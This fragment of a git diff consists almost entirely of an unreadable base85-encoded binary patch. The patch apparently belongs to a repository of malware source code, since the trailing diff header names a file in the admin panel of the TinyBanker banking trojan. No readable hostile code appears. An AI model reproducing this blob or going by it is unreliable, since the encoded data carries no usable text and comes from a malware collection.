z2-w_z2_U_I!lF3F=FCr($F5dKmKDpWEW;;-p*?gX=cKA^kae%g|H;<Y=J|Ji`i#U1 zXA}|XwSlcjeCT)xlU}~n28tOyx0Z6_;Za2fd32+UCDpb8JFZ2AP#680&)xmItg)Hg zhE_wyE7>u;^}B_nfRF%m&!yI*hCK*(*pdowd)$Hv1TAlohrH9@3+!%U`i*w9MigX5 zd1i>c;KoAn`{uvqS%x-FEKGMI*y3Ob*`@fe{l{C9+1ALH@$K}aQgf8(s+0DX9J$=2 zV8xPc!#?~i150l)mo^{mX;zhV(pM91d7)j&?Dcl44;$8pm-}Fg&?>k7l7Nq<WS7rm zTuP$1#+&XOJ5{^Vz#P<sPj0C_d{ngv;cUL_g%8p1ztSNS{PhY+(zpDw(Ic9;&(~UI z33tL=4OfN?dq28A(wao0L)9|8BG#c|u17)#f780rTb)jPKpR)Sd3zYE#LBdV5Q*LR zR41igw;(9X0Dq4MMBEyfr4=EyVVC@2Iv3IF(g18a*VZ!YiXj&7-I=%7xiVb`60GY3 z4h<HH)}`sE(4fO74QYgv+Yi^LxzWw*zPhdSh<bo?fhTy*jXmf8TDQ~OKpQezV@3z> z+A$x0?mbd^E6p7z9ww|lyqoFLLMoLc8)(B=y$BC+d4}`!8LOhG>lvJ0xCu$zi!isK zb)&#Jy25rA4?0VR*w7!iRxX=p2+5$jXcBUE=0;8mfuze|xV7>NbfSD6e5aMG(<7QS zNNlFEVV>Xiz1`DG1tj1?_7JnYo;Yzgo+?ysVG;QQs+8;ybolZ*B!AO18+qf0M7&U{ zCA1j{))0n$VafQa$!`HSIwsZa2@_W&_jjCxA3Qs!!}vTHZ1;?iszT$c3fLyC0jghw zU%N4BmViU+{idX(=A$3#T!U*zMY9KQP>vP?%lCaCWZ&LDvsezo1XUD1;>sbiq`>gh zq}9>Ylh<>7hSx?P4iDLG&=BcvkuV(vu|CQH*@+T_%3>XNJK|o*RYPC<o5TT*j7NJ* z*>rKS+x*I$jR~K)*}hfZ&@(d=M+W8CL;&gCPY!w5xGr<S0AWjZx%~7G5cKESpXqPz zI?}o=q=d1e^lfeIMs8)lz1Bnr8vhR)Ue(h9u{j(W{9>*i@?xj&H7j6UDn7{A;&2g= zapRO8i3?j7{6u7%DdJkTS1q;`!k{fe!p?^Bn;{Q;&C>;h1TJ*rNi~RyWTdcb2f|bc zppXraoD(W2y-qqZMgo=^FC;mYJx97ukhzF)MH4Bvw!eg1?zjvEQ9K}qZSlB{LfQ1b z<KO$XE^K@<G;!_b%0<p`bBq73hW$_Fi~fI8Y3hzg*jnPCwwegX;v_Tq7Idygq~%_n zU{)i?g1a`Jk87?y*NW5;$7zbxTkDXQJGWxGoaBp;GR7EhCFzcI*L0R=ZN`aRus#uJ z<08)iyW5)FA_7Ee?bFs)jqB4aHQft$7h2R;R`i!X2f1S$hZn|ohg%<jnf>_7ge{|H z5}xaHF?xG?3~>r?PhT~wbu5Bg>4q>U6w4#`zUU`7h|Ue@;eGcF=bj+n+b;_5QW-UX zudWklZ<}~NeyQ)F-p$~d-hfikwIYJ#?)%S-WY+l&$1d&oX`6B_-sI|@DgROcj-(v+ z<_IF@FYVItjP6R#<cBpnJypHnLeCo8<`!HIzp4U(T}zA?t$kl3yHvB@Ix6gDD!=g0 z=@@b4{G<#Ao5M5d0H$~545HHGcRm3IXw(k#>0&x0=@{wRx}EMn!(i$Nl}_hCSntj8 zOwWL$ABs9lbgkVM%06lxpkf~uEKBL%lBOO3mAO5sn-X#%FaKQimi^*1;UE-QlZ27Q zCm}2*IU_Y*#s747ia`&(L-qv;6U2QGIqC!W7tTtAhg%eix{-t|AssGXgXGeXOC=k$ zd$TeE0hNxt(@37+-5rACBjX<=V{fWr;Ho;cPY=R99D_37cQ&yLiS@6`si!qYyYZg- z9ZJO=lZGQE)WWy5W-8ci{se^|sOVDn1J@L?5HC4+)Rlm_*LW)&v&{FUOHM@CI|+Gn zS{jsV3{y|1>rxcm%Fb5YDsdQcppq-Loz?z<BvWu1Ib0jlqOvKG`ml%#C=M^>?I_^W zyz+Q+?Nd7s{+t^NbypIC>(vH`y-->fvc<eGIf;;!*sK!CYkjdVllkna2#VL50wfCc z&`~cG^-%vQwqv$Zgpzxw&<jyCV4E0ovHY%C(5{@v-N@CfcCFI%3vGe&a=SNl-pLkB z&_$1c{8DXi_R+%?9bL1BLkOxQm{n{A=2?jZ3=&IDE;PID=D{R?olqEUm3;Eny874P zt*6~Xrs>L`YK#7i$#(N5=uEQd71YhFgj!VYm;2>a_U1nF?9XKBaPFDDAgrK|&On)! z9)>>}Vz710BeXKSK!J*62<i|evQu``ThO&!Y&+b0A$M_8u&XsH*N1RC1>~PutbR=a zH)>Hb8KT?nbhPo#zhj<99KCq_thr5rKOV+Ydzq{!V7Dn*RdRv|9?5&xNuP;?vQ&~` z954Rr%uh$0X~vZ-h%1o>;xVM9`5lV4Z;!3w_Uep!K}FX2c&O`=j2rIGVQ*M7Y4P2j zN`oD~c;%nAMLy^lC4uBCW?x!^HS`uP6Y((N+2QH#^4cvFnS9|iP7v{7ZeuJuR^N>y zfr2zz#-G-;K(9*;ltzaevv}vnR?w^NYqcM1(qAlabZrh9uPf1%H<oNT?)E``<@DO} zV}fzzKvrLd33s%+f5m!ZGCrI-TNcj}cNZ6CL$2QP!XDjUy?w3UI@t8Nj|ZMGuFE?} zoqn)&w=Xq()*Q&b_)IV?tv|1`5ri)aq*1;$+<W5;=*{WMn`yI@c-jDiCPp-=oj1<q zW+O8OAgqokQ@fn^JTO|yUzMP0%-edvqw$%zdfz6~J=ok9Y3`rQHl^}D8bKaWf;w|E z0lC@Qo?Revbu?ido%cUk&xKCSx+yf#0abwnG$sZ(tL7IQ>?23Pq^Nf{f}xfYF4A5M zQAAuY{Y?>>ISc)mzt4ksmZ5<TdhidIfC`d6PfpbpY;~2Kgi;}(ah^AFlnFI6hpHV6 z^I|viW6j?4U@ZHl^y5AGW>@H#CKI(!;TEU;oVSAZ-|CZVl+Sw3aWNFO`n-w&_Py^N zfzoD*t`q^BpMBA=UobrPz8ZEvA2;z+2w2c+|KR`xJckFR;_8BuHSHMxZ4IKXZ4TU^ zH8fg&bGd<byg7JV;Nz<QE(2!$?>V)%d8#87+#Pi6v`q+}j~dM7hadS?gw=aduQ2mk zHbZ(hSNrPy%==HDYqe)JR-E0Iez^Uu!GnPK%nuw|C1?6BayP{KZ)a9F6enMn<o8hm z39m&VjX6VXDD~=KxM3C-xa+Zp=DtWx2_4DRRbm^*AWxoUKw(<a)|9y{_<_GqQ2zdD z7h6!{&HG&`p_@RC>R#UdB1QFHepA-bee5TfQrxowP8(y-gXEC5Rh_c(4^9V7CODu3 z8ZB8_7(KG>$uHbCY1VUrlehH6GduI?4sNebnl{jUuR;f{VEp_tJmgLaZ+p@G^%oyW zrZeatzA<{=bQjxvAKw{W&F`Hv?kM<6>%-g3EAt^~#Lv0MpUtKfn9nKOg^>_jyxm5o zKFRKCu;{FyHJ5mrowvs44ymuO3(K{Yf9T$MUR*bEWRuCC?t7vY>>}?SrpMW>Up&eX zM!3w%&g*%s88F(AuECWQfrLdV9U+@H@+Z{o&sB}zP_v;JNz_RW#gnSaYqn~ZHB@Ei zc*`^n@ioWTN2a+0aZ$SV2WCQvfK28pH@PtoMq|<*z#w>4+=EzC&FRJwx@1x>&+up? zThH01*z`paz%AZU!-dMf?(+F!S;JOC+tVaGlv0x%{ff_$zO;@$fqWW0LzdNry2a9s zeLZ?u#BI?d<TEy&;cCyf@-EsXMI%pLeN?%vrTL}%y?V*>Jma&zm5qY45z?AXrsP^{ zoKW@oG1pYhjX8@63C2)EF|nuR_AtAm>D1@Jh=YG_UU^etU%k|QMiR5Muvu7+h-ymb zXLh#%9LalYJ*scY)hD+bU+#r92_Hw0+2+01{!HLbWnAuWiA{ogUt!?zQcf#m@z)7a z>yGhj(_(HLy_)PPfBIwLY5l_l{Euy0_di;-npn3bcloa%zEP;zVyJj~LnKVg&UH(D zvDuS~jN;~vj|u25jgMQaqkmnj^*$o(KKt1Bnrh15q~Bj)80QJngQeP-NAUC`G)7VP z0k|jy^+FP7ubOsRQ!@0oH+S3#`nelplqQldK1W*ZZ|I?Qu7#sL+0eEP=%JFlX@Az9 zRK<HYr+m5m*OHf4y2Qunj!`5%sBU}&*G8KqV-lQ*MX0{IvVP@?>0tISdUjF@38+lS z6LOE}vzwg_J1vL7zft*IJWhxY2#CI9AUg)<aVK&dqpa>L*oz;N0gGl<H)I&|g$X)h z$(zsWR7E`d$luQymQzEfURSJ=$z&#EP1g5r)Vmon9j@Lfo+|E$1-uGXxSNLwt^;pO zu8}1YI#z)z2mjHWE-WLFTCstP6ffHZEZgs|-ibCUk&o{bMZHdz7H5RD;tXFSaiRjh z4g-d~WqH4A550Inx$|cyJ*}l_6sgPM>9FbmG=~RCA0^o6%MKg;Rtoy)TlvWal>&Yx zTOH-_als<c1;qoyCGxQG`-3roPufNs?#AP6NHpNwSUaDmA>pX#v3bL^CWD6LwgQF< zrHU?8EdLveB#B>H9+g!^LogdXcjRMU&DAmc6*oPq(eB^Fxcx_WAbY>f*~*NxM!UqU zBF5smAdl5?$>z@Yo7+#VA9$v5VKMkbZ~{{q^E4KCGF=NQK%W-1_MExc9GvA}0(qR? zT@l^m%Me!KOpUIoqJ#U@$9_h14QMp;AXK(l&?&?^ppam}hT*7mtQ%Wym*mO;RmMtA zNc-7E1K<)ir_6)hsdb4B(`lkZp)#%<=gF<Le-=bsp>R}0hlc#4dY&EPs=Bp7O@$O> z^;f^xJm0)Oye8opOVsGbMHAw2YLA*oN#mj=NsZHO<q#+!>|@vb#A>YB=@;tdMg}8E ziOEGzM+;xD0kqr@PLXnPeb~gY)_KY$d6#g#MH6#>AL^)PQHgPxqMimfZXwo@hpV=! zwQk~`b_Jy8DbT<zxC>GD0w>z5R$7zS{-1WF3o-8kpWJ-5aw+Y&-~X;5VzNfTKu6Bx zR=1W95fi!2Htjr1kq;4*X^j~f?7vPCjoA;*ZlAx1)L(!6w)E}Dug|ei%$}90SP@Ou z=eQec>GPgQhv88gijx<%74ve44vsque$3s=L|_JvdzElDJEwl@`8>dZQU<-9Y+2%i zmp2C;d(Br%OZ_U%MPTFlyVRHU!VWs_Rx#Sw!w)>a;Yln!kgMYdMd${@+j*e$IOg=x zi1{x&fzzvs>O$1Q9~akOTKjpXlCu|Ca5g&j!2T-Xi|C8aDn!*E^uCE>LC5e#!H1?$ zJWnRd<8<V%$i9<jT)BVk>>0g~b8BY5UzBOw9+mpq!!<Leep2oEmMy!~?_m$=l)7d| zJN+^DyalaH<$lb>W*;Oxu`HzN%dYAATW=CRH`;eegGQgb{nHAfr0<x#{+j_p*5PsT zHR@6Hj#!SC)>PEx#Z2Jgjzbj{yOV!<F|gWmnMJNIuV#%W_1nlMcR6cFyTRWsc0Gr2 zj&}jvwHr&_cn1v$9fPE5gh1{xCQl;%*`FBY{1p9#m+y4r`_s%_noF-TJbw!H13Z7Q zHtf4~W3`SCZ03n0kH;&1$wWej)U{X|Tv@#*wp0EADE0}N2)GK1fpf5zG6-NHtp{dj zA@0F@{jz<Num+)_A~%ICMWoSS`5_`2$y*X;W6IiQ?Fl1J?r=W@2T_2Cql2Kzmj)O) zL501>*y33bVyNVanse1gS8_&W(vVV`m0&1{^X6jJGw$}b`j#y%BkDX`^YH!_PX7Zc z{>XNt3M07kK+Z5|n4vx&S;~-W9W;h$&epS%-OzUKjv;xwn@42>r2W@u=C=Mr2j0{S zuA<k4ZvO0|Wk(Q8t-@X(*ru2EZA>oW8#zmu*oXEUjkB-Dub<wHpAmJ(d9D&?hZPXq zZ_UkbuH9Ov06oK=xTAQm>2uGw0dAe$n!=qI+g>vfDci5>5=S5yR1WEyY`<FbL9*X6 z9WnCDu6l6P_(C|;$>()<FRM4^{hu*Ug;s|Z(hl3UeNLY$8;?IilRLb=Mv~gz)@U0M zVVh}QNKF_U6ddqbv}4s=+U0+@XegKt6s7O4I>=hsEJ*6yF9so1<yzs096coldnE=% zfgU^SD*^5nj^z~v%t(6`>=)<$#mE&gF?NgR2WJTfq=c?5@4|w?k3u#bVxIO;5TG1G z7Ze@BNqepneL4Fr4JOZ<qSfrhy~y7_CwX`5$B65p9~*^ACsqZPZ0x~(H4+mPN-U!* znBpmpW$RMJ5Tc99<oMPbKacZ<`bmHWf;M*&fJpejvIz0WMb*XkB#+aDIpjAQ2o|Mg z9;xAmf-3CuM0QgpM+SFcPo>3xZBr<=&0RU*cM@I%ByqTB%))~lh2ZD#1=j%Z9<1au z53w;tM<ZieL7&y6k-%MFwxBs2Zrc_Yz6d%wOHgt4B65;2G;&cH#vw~K4<dIt6VILT zSmG<RvH=$q7w=3{|8tjN0l=*zUKO|u%5nhHsIz9ev`j?31a3>!DNb)Z@%3&<W^U<g z1qP7mdbG_PL65aUNX+-t<d~z#rN(Pk?*>>N3Joe)48!V0;io@SqCP85?0CkvReI>R z;o_dMMj|~3-<}DsS@Q7&mV5Okwrx$1Udz@H25of%yvt`B-fmnD!e1QHwWl^(|K5A8 z;!U%cpeMqyt@hg1efN)+XKm=cHhB8G)Pl+eeF5iXpGaS^!w@uT&8Jjrb~PIc&M`nU zmK-ofhUzczKnpg28=wPj@@$3%@!~nEG!k1-$i&<`oA3VF*E+2m)a7Jq$H)NfNeLzi za5b{BtDQ~@nw^}0Fp_r1Zk?B)>1LyvqTLPjPI;``NA$WHIG_Kc8=g*t;+E(DRLVn| zvFoMNvh(!KeLjEmh2tK};4LA?`(VPX@m7x+U`=<v>1|A&PBPh8sYx<4a8rOx?gv1j z;U@jhysBaO5P5K6%lDxtcYdv0=Hgn}$e_s{t#4w%e^3b=FZ2Gx68xWn+`siD7;9pb zpg5A5+P{1W+D@Vxm=i%R$enenyCC|PAZN9vwH0|;%+>*0YFn;#ZgsaZvsV|@wWxy> zgw=IPxVst!t%Y?$(NO&ZHBR=fXo|7UBWa+!qowPM5BFLwbT}#7n4Ny-?~Xtl4zza3 z-)pZYg31u+w@WS($&RwN9CZ>R!$kc2IN-R1p08p1(fO-IJ{ici*j}{p(n^!fNJ4vs zir<OgiCuhnvb)C6-giQ^RsWMv)0aOupTZwjtokB0W7=Lw&P;8W%_u4vKQ4Zm{&3%S zO9K-*BHAos!B%%PPnD-88=KDbzhIboE!cd!?72ue#%;#tx`qF#J-o9%7bGFMnrpA0 zIBuFY|LB<0gric4{YQ3Q-1V9x&zHQIUhcX(4^)??Bx0zn-)@^eLknv2c80$(TSh3T zU9m=Rt0(mHkfh)YD?`T4u)I3wF8^S;VD@@IBaO(8|DjJRD=CO+sL9Ojc2e3GrC%z^ z(ZG<R{Kn#c?vzAZhtGZ1vCPqP)C$&cfaGGfNtQ*7Lxk+vV$|}=H|Y`PJ`o=xhSVv9 z7W;UsF+G4WVy4!rYDwVM^5#)G0n%rWLAcj9&E#9OcM24=7ZWG}SUHy-jv`C(IOH5h zQtbJwiBXJ9X3v&{n%e4Tm)RVI$f2_A(UYvmX3cH2hGKsLvUA^tttc+QEnT}sxY3cA zTz4wkDO}<Yi$;GlvR0R{WbuaXXb{_?I0hJ4(v8a3zgh7SRsx0?D2gZ*f(9;RlgEh{ zx*KXvsmF+uYpbC$hJj8Y5FNKy(Vptv!jPJthd75ate>SMZVYI+9dC@iFe4M-REXP4 zVlW%i%Y2+f!uZ+~4qwc6ER97*#y@um0u<aTMUu5eon)<x7d|&e2@D@_Elt#dInf=f zh@L0UlW^|DSOa77+c0)_pjJip7cK>`a;%nBUa`N6-n?1m!P0I6d={H6`SZj^VXN9p zmWGvk*TPt8hog7009MaE3AIaB6*okxqG}QEZDs(Zf?MIosCK;T=nk#@Y(Ahk$2p!e zU%TIAqoK2On&`fd&4rRwq+k3#z4_~c)Jw0M5g^J~0(KkQkxJ+)be;W*VW)k$*pjRW z)p8h1^yG=pQbc5IOwy2?iAy3mL|Cq^*58qE{0npFP-&PCa*IND1s^8)ptgD6$gHtG zuA0k3RRODBNEa0v6rMoPr)P)~mgGP5n{uAkWd-XDAqa9()Bd;4g3Q$$xYQ*~Vsf7D zwN%J@_CdY7f5%%u*Q815czhGL+iIJMRTgSb61&?Z{A>9l*=#Y3-%_1}hCo};{p_U! zimdLL;ZX0M&df^56&v-|XQp+}2G&Y2jVe#%VUl0iKxp~>%$@$K#y<y(LtH``^6Lps z2l8e^{4^Y#bQ0h#a8Wf>5#&uSpTa;RWSZkQ1BHU@WNYmL<{0ALy=MCr(<I!Q?oZGW z5MR2E+!Ck{I9_em`Nhf3|MjvgJrj%35D|T@Fc2GwnV?u=R25jGa<`sI-c5u(L%mw_ zZ6&wXg^YwsBuKYW^@N@Ihr?%U2n_>FvrDPDg}=5mt_Bk6&YdEtZY9Ih-nXTJOYo~) z2-_ZhvWl)`D-;ZuQvM)cH~7^JH1;Y9s=l{Qr48Dee$E76ex)ZrSkQY}CFk`tA=PEZ z@dtlC6;mR8lMj7?Zkf;IzBRNx@1s;|IUU`+TYA;XgY0z9`^iA%#1Jbd3$f#?7ZwI* z$Q6rIz00RsHH5<+rJ{t6<R~{P9g106zf)v>A67J5r*}pM&SAT;A7or?0vU;*(ec4- zAiYWg{ocXFeVYfgoki#V`F$QLee!3R9OGaa7~-<<164OJgJ{z>c~fazVRt@|9j~q2 zC0KvtrX)FBp~|;S=J9xWPkp4AzH41zeyCZ;UAp~1a!?&xo`bs!j#oFUSjb75Ke(>g z@p(lOK(6_BA({URdq9QppM&xL!LYZ-(F{YOKygZr?#0{C@<Y|xvoPH0BvVn-IVX5S zqQ*J(mUFEa<1e?1oK&xFb=SeWnAD0zCblk)I#pfa?syDbPutK5g=*_<5`nrTHJ#!0 zc&N2~Z+i=Da$(NN)xlUM@3D2(o`2V*-n?+*S&Iow-ecS61KGQ})aG@arfRibOT{97 z!k`y>w1%A+be*uluh1zFyHgH?znX>rd3QT?dm{BfGo`a>ysoGB_^&Uf%L6Crt63$- z)5ln+l;8SgXvLcCn{V##^Tnhotucv68Lw-?y0xcTn|jq#59aJT_3`dwZ+B?$1NgVs zBlYI5_=^=aC78>kLAB$DuOto~v5K#D7<<j|kgPeMZ`2=|>Vd$kosu|T+uC1SQ-6D> zpG!I4N0n&4l56<_k8?%)6M6Jkf8M^LvLY>U{rFy6*#ebpUULtEI{NcvFfC08V$7U+ zj6^f{cE_0;{T4z1#=<@W%97yx0PwUc4V@-6tWCZ2NC&~?1hcsWJfhU$gyO`W!1Zof z{zP*xK|aI^M+A^A1J}`nUE_$r&7J~LrRzD>a6S^JA!DW%ain2eaH~F@dMW3;son&Q z@}A5cAKYO1VeX69PtvXW=D48aB%22}t`vIVHJfN*2KdmGjefN>Ste3p?hP8W5Ys_W zMaa=J8+ACr%NM*L-iKd1v<CvCxn;>aa)f9Q^FD1X#z2kJ@dhrxlXX{<Tm7`K0A2dD zBH>{kP?e!5Asfu64jN$-`GBOhkSQs3O*NZG!wM(R+*1>x8^#9i-rVF<g*oZ-4TJ?l zg=&GBnOWUW7Yf)=Yu2*RAW6(rEz#(9+0k^-aTKCZcd5k;MVsw7buqHpHmQj$5TlX3 zMP}x0RPhQSEi8u*Z7taSOrT)5m~M)q#%wbWU1bl-dAkO!qH$w03)hQ#sO?#yRi(Gt z%sj!q^pr}bRjyT%uW3i7cY`yHan($B$Hh&{qqjnjHE4*zcG8Q2$4U4@J^=31?h~NG z#GTm_w~c!vFH@1gxB#MlG5h_d$+(|oCeX1NIxHL>vv)9Z{1*Q{BauC6az=63=1#-W z6QG?=lvILLk-YhQgLHN{90zkb$pG~&SSv9bHuY=Tcr0zox0VQqnZszatf!Fec8`;W zoEF*NwjRy1WxVK`lzuirL`izlTH5y?zJlq;_O4U;R||2@)5Gm%TEN5kXuO3VGr@D2 z1ys!Qlhu4eZf%x?@&ELJ%z3JaZB_*$HVc*a`&aEItn$FjBJs@kzkdn*?6Ss9T$JN@ z2*?;Y6Rw`~l81(R(<F&4JAqrWw<Ak+@KCFjGp=eXGm?Oybuu1ujnISkMH1%Q9jvp| zRdeKH^3hxcEVg&snIl7EZ*~*;iPhHDFU<#Y>`&nF#3Y!`EpGLJ2oul0=b_J(ds4qZ zY)`Y^Zg<iE77-)hm?(%Z+E~^_7IRflA~;>4=JT%{g-eQ!dxl0vZ}zF0(?$Zh#Y3^o zoC5;geYLSS=rs*l4Lzy6d961aPkDGJ2=Ghf0P;*|H5&k3%9?{|09!f2`Mgzafc1q< zS*l1$k+VLx;ExOg_0@MMV^>_kzetYaU;7#rl4X8Ai(Fg+i>pXAFXB`isNe4#2p^d* z*juYy`&Q##us#=Rf{G@m%lMbGMF+`kzUt;F$3v4a@TTB~8sH7>+zZL3!%Nv{Lm?lO z$~?lleN${lhl<J;jY~CE^b(|HSr%fCd7ANRsmras$$JQIOwYvNm34R8Sh`q*`276M zQ5V@Hnhv)H_7)zz9A3yFoNSJsP&4o;8t)GmFTK<w(X~_@c4fR8i|W603WuSw5#GI- z3jP!KN0-1;nxH<!cnPBCO@<gXL69&q51Sz3IC8iO*s)yQzTryeJOy~Nm<MT<0eWnM zEzhcLGZp3u#OxY+fI2sn;7vxro9H05g<r6dT&Ep@$g3>}HBnrUB;x@vj!i}~S(Gmb zL1qO~toE^?K7%o@Z^}aA7i0~a5}8O=FX3X&eg&LV;l;z7aP?NnPCdYUQyCe8X(b~_ z16**{b%UXE=H(;*X6O9Bk?@oiVgE-g^*?vef3t(`(Xq8vlFwSGT5+<P6YPwWNCjV& zRDJf`*;Dli)lDLp<AnsrvoQ5@PHpX5-0^B=aMa~9>M&<pgd9?PD?$fhsc5Gna=L!4 z^E^zOpsHy#{2<ufMZ=)?>fFNQIEY3}&-m&nxz0c99ltjDyHljAIWzdaWID@Z!zEPx z{eIRaKpC32pDOwoVH2nEU2#nrZBsV>0jaAqcR`I=q_KWu@OQepDH8Gd;&Sfgx4s4T ze~>uy19w-!vc->^$D-~hjAZ}t=u8_kU_30et3e!jHWJ1c<QYybUKdV3sM~ru?}K4Y zNrC2;i1Njj2Xj|5Y#l5%k1>rm?fc{No?THZIb0tdUoLJ_M{L`5YEUCK9Wd8dB`J8_ zy(PJ5f`A+EJJF?Df%ef*xqSC<JQt;aWht>`J&deVS}9vvOPX@=lcBlm24?vXrW$$I zVr5I`TjV_+Nh;f}Vq&ApbQQC%LuQLH=zHz%>=(l3YJbl&s3)=D*aCAWtDto^H&+W| zvCpYA^GNJ9cuptn*uLDA#s^PrB?_v2*MkjQ1ZvtL>KvLkvR7yJ+)>@qiQ~Kh)6iF} zf>oWd0Qj#DqDkQEe)2iGrg0qCgM`^XgsEEw^rN&B*bKZ&6CF*!g>${IiZI#}gIDfX z)gcPrOFd{}4EscY>LLGLVUd(MyeU39{`g6%bDn(4N`UUlwM@Vmi;CGx*iqlfR=~tj zxW=dAPN0oZY58c$*$h6nr;=SHpT?Ub?P`qOg8^e8jW21c%kafC*B9ERgVjkN=g*(o zXG~8t&`<uATwk{?Fy$Oswg=K!?}~x0KkiRoXf3_@Y+D2SZ5ZxCl@cxA7(d0{exXe1 zFKQ*#&`_m1ZQYGPYzKbFj=F(#jqvgbvc%ZbSVG*@cAP0(WE_A*;1pKHuA%gf<2^v4 zUxfZd2?EhN(*rrd2NJi{D<0hCs+{4QFSpPH?cR8>`+j+V0jf0*om`S&m1%n@@iDX| zIj(!xVzf3nj(k1hGvr*As#X*;ac{_O)u;Q$&D@(fz~0b^cn#)`i@{vzt$jiU6pXt6 zWV6GYtJ1Uw%QCqFo=k^^=H_9~jyOI!!E+mVDxyR5>Jc0EVs_h)4H>aFXN@9IMEekP z-p(jj|I<glt#?xYz7i-IJaQmATSt5~X_L-@6PMGKN5EHq9FhbhDXkp6N!y0|rFobp zZY|RACviOzfx~UEI{91(5=^VvFLBDlPcjJ>N+M@PIrQ%8s%0&;wgauCBIB_Q56vtQ z++h+H0KH2bKXQ3?v%j^2w>%(>yf+c>)C+d(F|N-O<vi<}xu;s6lAN@*f_>0la#^Bq zEDZ2oB3j?L%i1b{or@vAt45LOcQ!eN6W0R{vFC_b+3BMq=%EdES(q=eo;D23dj9CE z7H6PHw+msU2%N?KsIx6Q69@UK*_WU0M@2rw@C~CRAXV(SK1~8Zq#MTN)y_zrT2+MG z-4-^@;(!m0HJDD?s>ZTqIE!MKDQrT@cnj^#<)G{@fziZ~(~Cbql?y{#&n(rOZg&{U z-8OU%<{;zh);AH{<?bu~0ryRl1o--~bE~VefnJv(#Uf6ra`nf9f6{82gJ6^0kgQUa zIzTM=ru<s@v$G#_dZeT<tKQ(oY(167+{2&a!J10^Y?Ky?ib`L%RC^BvUW(U&Q0N~} z`gPbb893HCM$tz5gr*N9(dTuax3pdK92kI+<Po@t#35?7Uz|>`ae)795X75%{PwNd zcfMDO+jIi9m`6)A=Q-X%k#<#>*XLeP9^Za{_aY&pqxe!$issJ12l*NEFx-~6xp?|s zd*>bZRZE<`s^xw1Yorno%H^pE$lxG{j`}Xm1ZVf!`ju=L@_w5Ki4{TJSajwZ4%wUZ zF^P3La4l8BMXA1pyRiBl6{}+1+V%?#uo_&t0T;yk12v8u1~P^V`6l(%RY7Cmj$$r> z*a3mExN>v@%g(F@vEyg6bGVSJlwglk<Iv$7(zCQI{9Cf`Ly>M{T=DMMtR`_ybeoKS z^_2I;9aotInutg676BwlLQI_)d+Fo9mv{fiQG1v9--}WIrv|OPt$jy(ha8|M$LNJe zhW|H!-tf?{oS|o7X3^TxDhKGvF?u8|k{p*e^=!(`)vfDhmmHuc$LPguiGd+tSvgsK z{e9lP-iF48^^Ns%fSw$qCkN=2mY0rAjM+QdcU<d`1N7t=y_k(L|BazH{BSsUU9g3f zMeC(jIYUoQ(j)1T<ixzGms4&YZe4e}<P1GIN$;P3{`vn5ptl!6QKFon$j7X^qTEPR z4KuAwhMZ||M%QlBZ#>)7oOrqcrcrZwi@S~^0^??I_R1L~#SDRScfS_yjx#gDuQ}U( zuDVgh&ci{=a$qo6$5vnAjK<@UKU+s(YZT3NUij;{*}a{8*S@0h?cIpA+s9AL^rkfZ zi?Yk<kB6r1zBAz06Lc`5$4(#5-pC(ON^e=BMdYsiHSj_^;E#zrM;erVE04#jUd^Kr z+K0X?O`fl$DDT@jX5h7IQc906y6>+z*}WHjz)C4~g!=FZ%CgbG<v1_YTP<=}{!eZg zywB^_c0&>Gd~rcsx6%XkvX|kd&RaUzhF<!RCWLuoT?)bAPAExj{}1wG%fW0rWxeqq zDSbm;TDxmM9RA1!^x%YQN!nv8bH)5n`J;n)4*~gTR@&Pw0u_|f6wa@399X%Ue`ITI zj%5qB*J87%qS%wQ;TRn8so=o|YLUciJ3V{Vi{5=(OO+g2Q!%%2tD^Rxu_R6|u1+2g z+ywj*u1x8tW~o!$%~tfLdaDd*GN!!zBub2<SY*wXr@Ilmxjx@lI1&>THyHy0onw0; zuWI%%Hny*RFnB^#phRUsT{z@SgkwS{icpZ(pzC1Dp6unfcFIB5stH7%g1Q?`f>CU0 z62O!pnE;GN78ydR!mn~TV6xA{(#F;tFMw%W>lOQh3rH&D0w)v}#-teoNsY~h2uhg} z!}h*SKN`lK_-O>AlG!GeL|Pv71d1)K2XSuS{0Rh$w`jx`M+~>(@JBTB?A{49U*wT+ z$R84NJQG@9lJm<5>!eS9TS1m_yWv$@?G4O*`DX8%ct_<MY0@748*?2JS-I{C;;-a$ zRBx{^?BLiNReTdhyQMO|D0<NZuaVw_+zk24qN%)Av~XQ^;1?fuQ7x_)Sk)XsTViSA zdCRhJTSSGs?r?4%Mm*opa?pC*(0Xh2sYd#ZOn+L{!5GbLQK|C-!a#zpptr1yo?Z4N z!EkOV9}iP~Gn0l|o7Cn)FsukvfJ-K(_EYvYUEUy>r7w})qgWFBuS1b-0XI#3x#$-i zWCmbA_e3oY>$O6m+G)2JVr{UrJ)88@pIk99oP3V6at-Hz@Ee*iagTF2AXL2H#Jw06 znlf7*Qgr4>7UurY^5y{-Wl`Id!A%V=q3?Kb*_Q9_g#|V~(#;Kc_eoYaBJ;v{fMo&c zF#|MCCev}IX-ho_O_P`5e=wtn3MrOKGUns`9U>kIn;`36MXpgfBQ;4<Ry-A4uQ0-Z z#vM$`2U{OchmD6#FERW|vd3=`EoH-3!ru}9@L&EKc<K7bWXM`?1>xQwj)+@o?Qg<P z9I2Qmx{AL3CV0QxZ{ur3QaUd}iEkyG+*x!F;)Ku$^yo6lLbw45$u`-&)j7KHZwMQk z_*~e@K0~}cJ^8wU2)A2GIrMiQLcmsZUAkwvh6f;EqHb7O7GFz40woExw#_=-PHn|2 z;!s<|8v8COx$ek5succDt0BbacT%Eyw*)+6WR@I2JI09NVlhT_%u2Q;rzS^feRfM2 z53^BjSc5(8=t(JI!$D`pG%&)KM6cC9q*bTB`bKcU722}?SCA5xCGpc=*8pTUX`1di z>1pSqup!=F`PO2kpW3g_mRjf{eJu`ugsQk9juck4E{$n8f4SHzxN=+Yh_2Tpmlimc z(9t&+p!S7eQGcpxbI0orL>~a=7#fHw4XMXMEZld65;lG_7WAh|AU{Lnh@Y?79kUEp ziw-ZI_#p+A#WHBZj_7a6Kh&S1K2Z(*>jqajcV~6{_w2rZS{BUAL{G^)m8gguSS-)% z$h)m;g4qYX+quY2GDwmSK}<xKt34McT@G4OQVv>gA%nqLTsSH}Pt6~DWNY4WpBNz* z0~>>Zd;#`@+Jh7p8*maZu=zqSZt4&&WTDSLiv+MVvHQ;Agor&q)QCGh5+T-0bVM4F z96#0w@qTK${xFd%|BAujL>>aRuh4`%u3}%Qu>P2oCybmHwTpN`*VD5zwX&fbjm*_H h5&`ue63|1yyE@iV7(ZF||8__HuY*=k&fQz{UjQpFJ3IgY literal 0 HcmV?d00001 diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/images/saving.gif 